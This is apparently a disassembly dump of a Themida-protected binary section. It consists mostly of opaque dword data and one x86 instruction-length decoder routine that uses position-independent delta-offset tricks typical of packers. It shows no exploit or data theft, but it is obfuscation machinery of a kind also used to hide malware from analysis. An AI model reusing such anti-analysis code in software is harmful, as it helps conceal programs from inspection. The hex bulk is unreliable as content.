249DF600h dd 828A8F17h, 35377662h, 0E589FED3h, 858A858Dh, 0E9600613h dd 9, 8A9D141Ah, 35C57108h, 61F88AD9h, 0BB60D0FFh, 273297E1h dd 0AE9h, 0ED609400h, 42AC56BDh, 61E085BDh, 8B98589h, 0FC600610h dd 0C78B6652h, 85C6615Fh, 61023E5h, 4E8F850h, 56000000h dd 0E9A8ADADh, 12h, 918B5298h, 9E6B7DBBh, 9E302A4Eh, 632BB765h dd 60505089h, 24448B61h, 0E9525004h, 6, 0E928A61Eh, 310FE1C4h dd 0F525060h, 8B585A31h, 585A61FAh, 5660008Bh, 77C7F6BEh dd 89615857h, 0E9042444h, 0Ch, 12A2EEB4h, 430E8ED5h, 5C881676h dd 1820F58h, 0F8000000h, 1D45B5FFh, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 840F56C3h dd 13h, 0EE9h, 0C81D9D00h, 0A38DCD04h, 69F57B20h, 8D9DFABDh dd 13858A85h, 0D0FFF506h, 8A0F60h, 60000000h, 88A0BA66h dd 6135CE80h, 21858961h, 0F061020h, 0C8Dh, 6890F00h, 0F000000h dd 8Bh, 2FE46800h, 10E9D6FCh, 99000000h, 0FAA7C8E6h, 7B32943Fh dd 0D5F15FFh, 81B1717Ch, 87CB2434h, 6A2673h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 1F092AC3h dd 6003FFF9h, 0FE8h, 0FA4DE200h, 2DE29A8Dh, 52A3B76Dh dd 0DEBE6794h, 8B535EF9h, 0FC615ADFh, 1D45B5FFh, 6A0610h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 51F72CC3h, 0F94CB0E6h, 8160CC9Eh, 0FE693EAh, 0AE845h dd 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah, 5962E880h, 6E86061h dd 0C7000000h, 0E76F3Eh, 0D8BF0F23h, 2870F5Bh, 8B000000h dd 858D61DAh, 613858Ah, 6E9h, 5889DB00h, 0FF2A8AA7h, 0C880FD0h dd 0F000000h, 68Ah, 840F00h, 89000000h, 10061D85h, 85C6FC06h dd 61023E5h, 51006A50h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 4A64323Fh, 142F6852h, 8F0FDDF4h dd 10h, 0A860Fh, 5E90000h, 46000000h, 1B65EA77h, 79243481h dd 6A4A68C8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 3D7EC352h, 6660D657h, 0FE9CA8Bh dd 0EC000000h, 0B395F859h, 2A5FFC12h, 429AED57h, 0FF61756Bh dd 101499B5h, 0CE906h, 37DB0000h, 0CB9BD300h, 94FA7AE1h dd 858D218Fh, 6103A32h, 6810F60h, 0F000000h, 8Ch, 0D68B6600h dd 0F9D0FF61h, 0FE9h, 0C7ECF800h, 0C78E2C23h, 2E645665h dd 25B92CC4h, 2F958589h, 0E8600610h, 0Ch, 792E935Dh, 0C2BAA86Fh dd 0FCEB6D19h, 6159F18Bh, 10E9h, 0A752DC00h, 256D5BE4h dd 0A661A1BBh, 2EBE3779h, 187E9FEh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0DA8EE9C3h dd 6167CBCh, 1839BE60h, 8D0F3AD2h, 5, 0D0DF3EBEh, 66606112h dd 0B966D08Bh, 5061CFB2h, 8D0F5250h, 0Dh, 8E9h, 0F3239C00h dd 4EA252B9h, 50310F46h, 0F616052h, 0F525031h, 5A585A31h dd 89585A58h, 0AE9242Ch, 6C000000h, 0C72824E0h, 127BA7EFh dd 6AEC8B14h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E95EC355h, 0Ch, 0AE7CB40Dh, 21063BA3h dd 61B76BF4h, 0FFCC483h, 880h, 28B0F00h, 60000000h, 890F6061h dd 1, 0E8F8h, 815A0000h, 1593FBEAh, 0FC45C706h, 0 dd 1AD9BA83h, 0F010610h, 9884h, 6A5200h, 92FF0F6Ah, 61008B9h dd 0BF82895Ah, 8D06158Dh, 158DC39Ah, 3C75206h, 128h, 92FF5053h dd 6102021h, 9A8D525Ah, 6158DC3h, 0BFB2FF53h, 0FF06158Dh dd 102F9592h, 0C00B5A06h, 9A8D5074h, 6158DC3h, 33247B8Dh dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h dd 752B3934h, 5DBA8D0Ch, 8B061002h, 0A4F30C4Dh, 52AAC032h dd 8D0875FFh, 10025D82h, 92FF5006h, 610061Dh, 75C00B5Ah dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh dd 810FF500h, 1, 8DD28BF9h, 1595838Dh, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 877D7F2Ah, 0EC803105h, 0E19509C9h, 5606100Dh, 5870Fh dd 81660000h, 5F0F56DBh, 9F58D89h, 0BF0F0610h, 1985C7D0h dd 64061023h, 6A00005Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0ACF7C353h, 5BCC606Dh dd 0E4DE8166h, 0DBBF0F4Ah, 22C185C7h, 610h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 9290B1C3h, 0BD89A8DAh, 61021BDh, 11EDB5FFh, 0FFF80610h dd 102DB995h, 0A1950106h, 6A061005h, 0C995FF00h, 8B061031h dd 0EF68EBC0h, 19D2F850h, 4FBFFD9Dh, 618AEC0Dh, 9EC500B9h dd 0CD8426E0h, 74D0F20Dh, 0F616EC39h, 0E6EACE11h, 0C00FE4DBh dd 102FA0F5h, 0E8D85BD1h, 0C04AC2E5h, 0E582AA6h, 4D7100A5h dd 5AE8E707h, 445105E7h, 0E93D30DFh, 7F65D6C7h, 1923220Eh dd 0E904246Ch, 3774B6D8h, 7AAF5353h, 208AA5B8h, 918F8458h dd 424EE637h, 0E8D07A97h, 0Ch, 2685D34Ah, 0D1015957h, 0B3A39FAh dd 0BE9h, 507D1E00h, 7941F6C6h, 0ECB22988h, 41F1815Fh dd 81501048h, 648DC7h, 0B5BD8900h, 0BA06101Dh, 0 dd 893A34FFh, 101E018Dh, 0C3815B06h, 673B0C5Ch, 2318589h dd 0F3810610h, 54C1FF32h, 1358D8Bh, 0EB810610h, 75731C93h dd 10E8h, 7ADC9300h, 0D60656B7h, 8EE11756h, 0F8B072A2h dd 11E9B2h, 55CD0000h, 74B18E8Eh, 674B728h, 0CD17E2D4h dd 5E3AC00Eh, 8F21B453h, 13E81704h, 0B8000000h, 7A038179h dd 0A14D33B4h, 0B7C260C3h, 0C1C6B52Eh, 816689FAh, 5EB492E8h dd 286DBD29h, 0EA830610h, 9D8D3103h, 4A06102Eh, 0B458501h dd 0FA810610h, 0FFFF9C6Ch, 14850Fh, 8B0F0000h, 2, 22E9CF8Bh dd 0CF000000h, 0C4576B54h, 0F38BDD47h, 0FFFF4BE9h, 91A8CCFFh dd 0CCFB333Ah, 2E7E7C64h, 0E1D5C7BEh, 22A560DCh, 798D8D88h dd 89061597h, 101D1D8Dh, 0F58D8906h, 6A061009h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 5F98C356h, 1985C756h, 54061023h, 0F000073h, 85C7C6BFh dd 61022C1h, 0 dd 4F66BBEh, 21B5FF7Fh, 6A061028h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0EC0C355h dd 4FAB25DDh, 0B995FFB9h, 306102Dh, 1005EDBDh, 0FF006A06h dd 1031C995h dword_5A4BE4 dd 0EBC08B06h, 3BB3CC4Ah, 53139E76h, 8B0E26Fh, 10966097h ; DATA XREF: Themida_:0054D188o dd 1F6BFCDEh, 0A7004B2Bh, 0D26B51A2h, 0E6FF763Ah, 8CEFE606h dd 0C9040411h, 28AE13ABh, 803F0621h, 50178F5Ah, 221291F0h dd 0DCFAF2FFh, 4C18C913h, 44F90221h, 8A748BC7h, 0E80B4379h dd 5, 1C0242BBh, 0EE981h, 69880000h, 508C00AAh, 0E34AF79Fh dd 97554CCCh, 0E6C18159h, 0BE000072h, 0 dd 123D9509h, 34FF0610h, 8F0F0Eh, 58000000h, 358EC081h dd 8B6671A1h, 9F081D1h, 1097D2Ah, 10024DBDh, 9BE88106h dd 0B1A2C2Fh, 1001DDBDh, 31048906h, 0BD9958Bh, 8E0F0610h dd 2, 0EE8371B3h, 870F04h, 81000000h, 0FF8DA8FEh, 0AF850FFFh dd 0E8FFFFFFh, 0Bh, 77AC21CEh, 8FFC6280h, 8B9B6299h, 1020859Dh dd 0C8E95F06h, 88000001h, 7 dup(88004188h), 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 3000000h, 14h dup(0) dd 0C2000000h, 8F29000Ch, 1000075h, 11h dup(0) dd 0E9000000h, 353h dword_5A4E9C dd 0E855h, 815D0000h, 159A37EDh, 85C76006h, 6159984h, 0 ; DATA XREF: Themida_:0054E8FCo dd 663E8166h, 0F850FA1h, 0C7000000h, 15998885h, 606h, 24E900h dd 858D0000h, 615998Ch, 0DC858D50h, 50061599h, 0E8006A56h dd 1Dh, 2510C483h, 0FFh, 99888589h, 3610615h, 159988B5h dd 84858B06h, 5D061599h db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5A4F2E mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5A4F3A ; --------------------------------------------------------------------------- loc_5A4F2E: ; CODE XREF: Themida_:005A4F17j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5A4F3A: ; CODE XREF: Themida_:005A4F29j push ebx push esi push edi loc_5A4F3D: ; CODE XREF: Themida_:005A4F92j ; Themida_:005A4FAEj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5A4F50: ; CODE XREF: Themida_:005A4F77j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6159AEEh lea ebp, [ebp+6159964h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5A4F7D inc cl cmp cl, 0Bh jb loc_5A4F50 loc_5A4F7D: ; CODE XREF: Themida_:005A4F6Cj cmp cl, 0Bh jz loc_5A4FDA cmp al, 66h jnz loc_5A4FBB cmp byte ptr [ebp-5], 0 jnz loc_5A4F3D cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5A4FB3 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5A4F3D ; --------------------------------------------------------------------------- loc_5A4FB3: ; CODE XREF: Themida_:005A4FA0j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5A4FBB: ; CODE XREF: Themida_:005A4F88j cmp al, 67h jnz loc_5A4F3D cmp byte ptr [ebp-6], 0 jnz loc_5A4F3D xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5A4F3D ; --------------------------------------------------------------------------- loc_5A4FDA: ; CODE XREF: Themida_:005A4F80j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5A5006 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5A500B ; --------------------------------------------------------------------------- loc_5A5006: ; CODE XREF: Themida_:005A4FE5j movzx edi, al shr edi, 1 loc_5A500B: ; CODE XREF: Themida_:005A5001j push ebp call $+5 pop ebp sub ebp, 6159BA6h lea ebp, [ebp+6159864h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5A518D mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5A50D1 dec ecx jz loc_5A50B4 dec ecx jnz loc_5A5124 cmp byte ptr [ebp-2], 0 jnz loc_5A5120 cmp byte ptr [ebp-5], 0 jz loc_5A5093 mov byte ptr [ebp+0Bh], 2 loc_5A5093: ; CODE XREF: Themida_:005A5089j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 6159C32h mov dword ptr [ebp+6159984h], 1 pop ebp jmp loc_5A5124 ; --------------------------------------------------------------------------- loc_5A50B4: ; CODE XREF: Themida_:005A506Ej cmp byte ptr [ebp-2], 0 jnz loc_5A50FE cmp byte ptr [ebp-5], 0 jz loc_5A50FE mov byte ptr [ebp+0Bh], 2 jmp loc_5A50FE ; --------------------------------------------------------------------------- loc_5A50D1: ; CODE XREF: Themida_:005A5067j cmp byte ptr [ebp-2], 0 jnz loc_5A5117 cmp byte ptr [ebp-5], 0 jz loc_5A5106 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5A50FE mov [ebp+0Bh], cl loc_5A50FE: ; CODE XREF: Themida_:005A50B8j ; Themida_:005A50C2j ... inc byte ptr [ebp+0Bh] jmp loc_5A5124 ; --------------------------------------------------------------------------- loc_5A5106: ; CODE XREF: Themida_:005A50DFj cmp dl, 5 jnz loc_5A5124 mov [ebp+0Bh], dl jmp loc_5A5124 ; --------------------------------------------------------------------------- loc_5A5117: ; CODE XREF: Themida_:005A50D5j cmp dl, 6 jnz loc_5A5124 loc_5A5120: ; CODE XREF: Themida_:005A507Fj mov byte ptr [ebp+0Bh], 3 loc_5A5124: ; CODE XREF: Themida_:005A5075j ; Themida_:005A50AFj ... dec byte ptr [ebp+0Bh] jz loc_5A5152 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5A5134: ; CODE XREF: Themida_:005A514Aj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5A5134 mov esi, edx loc_5A5152: ; CODE XREF: Themida_:005A5127j and al, 0FEh cmp al, 0F6h jnz loc_5A5187 cmp edi, 7Fh ja loc_5A5187 test bl, 38h jnz loc_5A5187 cmp byte ptr [ebp-7], 0 jz loc_5A5181 movzx eax, byte ptr [ebp-4] jmp loc_5A5184 ; --------------------------------------------------------------------------- loc_5A5181: ; CODE XREF: Themida_:005A5172j push 1 pop eax loc_5A5184: ; CODE XREF: Themida_:005A517Cj mov [ebp-1], al loc_5A5187: ; CODE XREF: Themida_:005A5156j ; Themida_:005A515Fj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5A518D: ; CODE XREF: Themida_:005A5037j mov al, bl and eax, 7 sub eax, 4 jz loc_5A51B8 dec eax dec eax jz loc_5A51AE and bl, 7 add [ebp-1], bl jmp loc_5A51C0 ; --------------------------------------------------------------------------- loc_5A51AE: ; CODE XREF: Themida_:005A519Dj mov al, [ebp-3] add al, 6 jmp loc_5A51BD ; --------------------------------------------------------------------------- loc_5A51B8: ; CODE XREF: Themida_:005A5195j mov al, [ebp-3] add al, 4 loc_5A51BD: ; CODE XREF: Themida_:005A51B3j add [ebp-1], al loc_5A51C0: ; CODE XREF: Themida_:005A51A9j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5A51E8 movzx ecx, byte ptr [ebp-1] inc ecx loc_5A51D3: ; CODE XREF: Themida_:005A51E2j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5A51D3 loc_5A51E8: ; CODE XREF: Themida_:005A51C8j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- db 8Dh dd 159A3185h, 91858906h, 0E9061034h, 266h, 0D98C6660h dd 0F04C1F6h, 3584h, 0FF016A00h, 101499B5h, 8A858D06h dd 0FF061385h, 358589D0h, 8B06101Fh, 0CEFC1FEh, 6000068h dd 6A006A20h, 0D685702h, 0FF000100h, 101F3595h, 32E906h dd 85C60000h, 61023E5h, 30DF6856h, 0B5FFA9C5h, 6101D45h dd 858A858Dh, 0D0FF0613h, 12618589h, 858D0610h, 6101DADh dd 6A406A50h, 95FF5605h, 6101261h, 0C361h, 2 dup(0) db 2 dup(0) word_5A5282 dw 8B52h ; DATA XREF: Themida_:0054D174o dd 428B60D4h, 13858908h, 8B06159Eh, 85890C42h, 6159E0Bh dd 8910428Bh, 159E0F85h, 49B58D06h, 8D06159Eh, 5B8EA185h dd 61D0FF00h, 0CC25Ah, 9E13B58Bh, 858B0615h, 6159E0Bh dd 9E0FBD83h, 0F000615h, 784h, 0E9068900h, 2, 0CF0688h dd 0 db 3 dup(0) byte_5A52DF db 52h ; DATA XREF: Themida_:0054B568o dd 8B60D48Bh, 85890842h, 6159E13h, 9E9AB58Dh, 858D0615h dd 5B8EA1h, 5A61D0FFh, 9E13858Bh, 4C20615h, 13858B00h dd 8B06159Eh, 13858900h, 0CF06159Eh, 0 dword_5A5318 dd 70B58960h, 8906159Eh, 159E6C85h, 0B5858D06h, 8B06100Ch ; DATA XREF: Themida_:0054D1DCo dd 85894440h, 6159EA9h, 9EDFB58Dh, 858D0615h, 5B8EA1h dd 8B61D0FFh, 159E7085h, 9D8BC306h, 6159E6Ch, 3C43B70Fh dd 5B8BD803h, 6C9D0378h, 8B06159Eh, 0B5032473h, 6159E6Ch dd 207B8B56h, 31C738Bh, 159E6CBDh, 6CB50306h, 0FC06159Eh dd 41FFC983h, 9E709D8Bh, 178B0615h, 9E6C9503h, 0C7830615h dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 9E6C8503h, 85890615h, 6159E70h, 0CE8BF08Bh dd 0BD81C18Bh, 6159EA9h, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 159EA9BDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 6159EA9h, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 159EA9BDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6159E17h, 1D098589h dd 858D0610h, 6159EADh, 1D718589h, 858D0610h, 6159E74h dd 0FD8589h, 11D00610h, 0BD681C60h, 61BF2844h, 73A2F106h dd 37830512h, 7218796Eh, 87A7FFBFh, 874882FCh, 0F3EC3082h dd 7EED212h, 8A4D1E16h, 317712B6h, 27363FBEh, 0B7D930BFh dd 0B05707Eh, 387630BCh, 373B3237h, 0B49381BFh, 27E32102h dd 0B36830B9h, 37B330FBh, 0B6BFFC35h, 0DE84C051h, 377633A4h dd 0DF6C30D5h, 379D30BCh, 680D6F9Fh, 33434C36h, 3397743Eh dd 37D930A3h, 2C2F67F8h, 9982EEA7h, 8DADBA74h, 379D3F56h dd 6822E0BFh, 7CD4EC25h, 986E98B7h, 0E36299Bh, 97D3B532h dd 0DFE636AAh, 373B30B7h, 4CCF9888h, 0B188D160h, 6D97BBD9h dd 0E632A0EFh, 764B10B1h, 37EC2457h, 0DED5D4BFh, 93832342h dd 0E0A70D8Ch, 14B227B4h, 3741A42Ch, 363C3F97h, 0CBD930BFh dd 1669BDE5h, 8E70251Fh, 6ED40339h, 5AD8F2Fh, 659E1817h dd 37672357h, 0B40186BFh, 0F931AB2Dh, 0A65186FCh, 881646CAh dd 0A7290F37h, 6EC4CB34h, 0C80CB02Fh, 3E1EA540h, 0B7BC36AFh dd 37D930BAh, 2649F100h, 65B6BBBFh, 0DA656A05h, 8A1E6E86h dd 31DE2532h, 0B46E45BFh, 27B3A502h, 2EAD30B9h, 0F76763EFh dd 37724A07h, 52BEB9BFh, 0BA9B20B1h, 25762522h, 6CB4CFB9h dd 0A20EB3E7h, 37DF20BFh, 64BC27CBh, 37724A07h, 52BEB9BFh dd 0BA9B20B1h, 257B3422h, 6CB4CFB9h, 37BDD8E7h, 0EBD030BFh dd 2E25E237h, 0D4C4E625h, 0CB91AD4Bh, 38C3E034h, 37CE3A3Eh dd 33E33FBFh, 51B330BFh, 0BC016101h, 1E71BD7Fh, 0BC70251Fh dd 6CBEBD4Eh, 8E9B2534h, 596064BAh, 370DE040h, 37B0D8E8h dd 68F930BFh, 4B656F7Ch, 73F7349Bh, 3720349Bh, 60DA30BFh dd 24EBE57Ch, 629142DFh, 37B4D806h, 0CDFC30BFh, 1204288Ah dd 3828CCB7h, 373B3438h, 0F32456BFh, 380E3B88h, 3767763Bh dd 0E56CB1BFh, 0BA94A6C6h, 27A2B522h, 36FF3FB9h, 0CB3B30BFh dd 379D3307h, 60CE5ABFh, 37673357h, 0F4EC10BFh, 13A5B9E0h dd 13A8B1BBh, 37762BBBh, 0F46C77BFh, 0CCDB9CE5h, 0C7BCD2EEh dd 1B49E63Eh, 0D44C549Fh, 0BA2E8FB0h, 224C0122h, 60765AB9h dd 373B3357h, 0F4C210BFh, 13B2B9E0h, 1323B1BBh, 37B32ABBh dd 0F48E77BFh, 0F05043F9h, 3885DFCCh, 0B2B6C608h, 3188BBE4h dd 0DF9E30D5h, 376730BCh, 6F70689Fh, 33FD7436h, 33C8743Eh dd 377630A2h, 0B8F860FFh, 754A6B79h, 9FA7839h, 0E798C501h dd 8A74B1D9h, 38193B42h, 37EC093Bh, 0EBC956BFh, 0B2A6BD0Dh dd 389B20F1h, 37CE3335h, 0FFD83FBFh, 37B33107h, 65D95ABFh dd 37EC3357h, 0F42C10BFh, 136FB9E5h, 13D9B1BBh, 37CE26BBh dd 0F43572BFh, 0C8695FC4h, 0AA54C55Ch, 31F99089h, 0BABC8147h dd 22B06B3Ah, 379BD8B9h, 0D2F130BFh, 43648BB0h, 0C8EDDF35h dd 3C7A856Fh, 4B683F7Fh, 5D7630BFh, 34D363BFh, 179D30BFh dd 0BE95F3E4h, 0B66314E3h, 2BB714FBh, 74D930BFh, 836EF3ECh dd 6C4484A4h, 387149DCh, 0AA10C608h, 31DE7E3Ah, 0DF3630D5h dd 37B330BCh, 6E1A699Fh, 33C87C36h, 3352743Eh, 373B30AAh dd 705E61FEh, 37CD8807h, 0B60130BFh, 0C8C08076h, 62D95A5Ch dd 37EC3357h, 0F42B10BFh, 1357B9E2h db 0BBh byte_5A57ED db 0B1h, 0D9h, 13h ; DATA XREF: Themida_:0054B56Co ; Themida_:0054E498o dd 37CE29BBh, 0F43275BFh, 0E2602A12h, 6060B83Ah, 74F45009h dd 0BAA0BBD9h, 229B2F02h, 8F10BDB9h, 8FC8251Ch, 0BD2C6CC2h dd 3DBEB58Ch, 0F8F236AFh, 22BAD97Eh, 0B9224C01h, 5760765Ah dd 0BF373B33h, 0E0F4C210h, 0BB13B2B9h, 831323B1h, 0A4F305E9h dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0FDA5BC3h, 589h, 8960B900h, 0BF0F1482h, 55006AF1h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0A028D711h, 8B0F37D8h, 22h, 8F0F60h, 0E8000000h, 14h dd 41292981h, 0A16FA8AAh, 0AD80E8CDh, 0BFD479C5h, 7CA0AC1Ch dd 0B3B9615Bh, 8B2074F6h, 6E8C3h, 78D70000h, 95CEC201h dd 0C08B5EF9h, 832BE280h, 10158DBDh, 9750006h, 95BD83h dd 74000610h, 8B535019h, 47AB8C0h, 85890000h, 610132Dh dd 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h dd 47AB853h, 85890000h, 610132Dh, 0B51D9D8Dh, 0D3FF0612h dd 0EE9585Bh, 90000000h, 8B091E0Ah, 61755AE6h, 3B13E632h dd 0E8C08B96h, 12h, 6B7AA46h, 0B1646F65h, 0FBF5BD72h, 0E233137Eh dd 0FA8B680Ch, 0D1B70F59h, 5D80C181h, 0BE90000h, 57000000h dd 6C5F6EB9h, 375D0332h, 0DB3374C2h, 8119048Bh, 0D269DBE8h dd 37CF816Dh, 8161BC8Dh, 1D933C0h, 4ABE660Fh, 4AE88137h dd 814E56B8h, 8F9077C6h, 8FF9507Eh, 0EB831904h, 0D2BF0F04h dd 0A2E8FB81h, 850FFFFFh, 0FFFFFFC4h, 0CE9h, 0A64C9000h dd 74h, 0 dd 529E900h, 47E70000h, 1BD14804h, 3CF168E4h, 1BD04703h dd 39EB6ADEh, 3C483EFAh, 5FDB1ACEh, 38F435D8h, 56D20DC1h dd 37F328DFh, 1C16854h, 0E56BD9D9h, 79323C08h, 5BDE5044h dd 0BDB96DA6h, 327113A0h, 1348FF76h, 38F30D5Fh, 6DCC7C8Ah dd 66DCED35h, 32EAD17Ah, 0F8ACE79Bh, 0B883587Ch, 9D25E40Fh dd 796DCC66h, 0AE2DD9FDh, 98D3BFF6h, 22C96807h, 44EA71EDh dd 826B5509h, 3FEA3888h, 6DCCF783h, 66E20763h, 72E9FE8Ch dd 0F69581BCh, 745E1253h, 1DA5647Ah, 0F96DCC6Bh, 24BB607Dh dd 9A0E49FDh, 432F641Bh, 0CC6BAB14h, 8CC57C6Dh, 5FE3A698h dd 0B76DCC6Bh, 0C45FCBBh, 0DF632618h, 376DCC6Bh, 5BFA893Bh dd 7D2A675h, 0F5712566h, 49AC43D8h, 336B1E88h, 8268h, 22C39600h dd 1C3135E1h, 44793290h, 0A55BDE50h, 8758CC65h, 0C29E4BBEh dd 0DA46FEA5h, 0B5C76DCCh, 0D63D81B8h, 64793BE7h, 0A5A620BFh dd 92E0FC77h, 6F9CEEBh, 336B32ABh, 0AFEAA01Bh, 9E8D5FC3h dd 92338B24h, 0E18764C0h, 1, 437A322Bh, 6390384Fh, 0CC7C1AA8h dd 421EFA6Dh, 5794374Eh, 10AF10ABh, 7B2E5B11h, 923383C7h dd 1116431Fh, 55024AE9h, 33C2765Ah, 2FAA4E8Ch, 11EC57B1h dd 0D7F37935h, 7C4002A9h, 0C8A46DCCh, 3C8428B3h, 0E40D9B52h dd 0EB2CDDFEh, 0A037EB07h, 88C5B1E8h, 33D55CF3h, 0AC138F4h dd 3AA21D5h, 0F68DD6CAh, 0BC679A5Fh, 96D7336Ah, 0F09B79CFh dd 6DCC8E52h, 0E91B6B2h, 89805A68h, 6DCCF439h, 46C81DDh dd 6Eh, 3196D746h, 6D2AA6h, 0B759E2F7h, 580D8C78h, 0AE54731Fh dd 64087F73h, 0C302A625h, 972EC5CFh, 1EA9629h, 0B9301F2Fh dd 0F1D2A742h, 0F231D352h, 0D80DBF36h, 0CCF29131h, 0A65E756Dh dd 0C39F836Fh, 2FD4F39Fh, 5D79B257h, 2CC300A9h, 6AA618C9h dd 43F833h, 32520000h, 34533F7Eh, 4C9F538Eh, 0B355DC73h dd 2CDF5A74h, 4A1F03EFh, 4D7F694h, 0F67A265Bh, 7BB25AE1h dd 7C67E087h, 0D4A86DCCh, 4A246305h, 0CC7CE35Fh, 5227036Dh dd 0D617D271h, 0B6336B35h, 1, 427B3214h, 0AB5DDC4Eh, 1BC48F6Ch dd 6FEA14E6h, 2E9483B8h, 0C66DCC7Ch, 7918D6Ah, 954CD56Ch dd 7483E05Ch, 75969567h, 1167FC06h, 0B79BD27Ah, 0D513CCCBh dd 0BD480C0Fh, 13C7AB51h, 0FA9DDB84h, 23956534h, 1C38792Ch dd 0C5252638h, 0CA288E1Bh, 34632338h, 9423788Ch, 0E243E2C1h dd 7DB25929h, 0D5CBA489h, 0D0179488h, 0DD5CD0F4h, 8605F126h dd 9FFCA8DDh, 0DA6165FCh, 2A06FA33h, 0A8DD864Dh, 75344A34h dd 94230CCDh, 67304D29h, 397BC5A6h, 13686h, 0BD5CC400h dd 0C41F4C1Eh, 10BC9B43h, 0FAB1C7A4h, 67FCBFC1h, 36374925h dd 48C6808Dh, 43431854h, 94669B44h, 3DE91EC5h, 1B9A2439h dd 0A7F19464h, 1349F612h, 7D294D3Ah, 0B229DDF9h, 0B9D0C4F9h dd 3E2BD718h, 0BCE77770h, 782DAC3Bh, 0B241533Fh, 0CBF0AD13h dd 136ED34h, 0E23F924Dh, 0D1AF397Ah, 3C3468DAh, 0BB908C94h dd 2C15h, 0C15C7700h, 0D949401Ah, 0FDEDCC7Ch, 9C267521h dd 41EDCC7Ch, 88C97C3Fh, 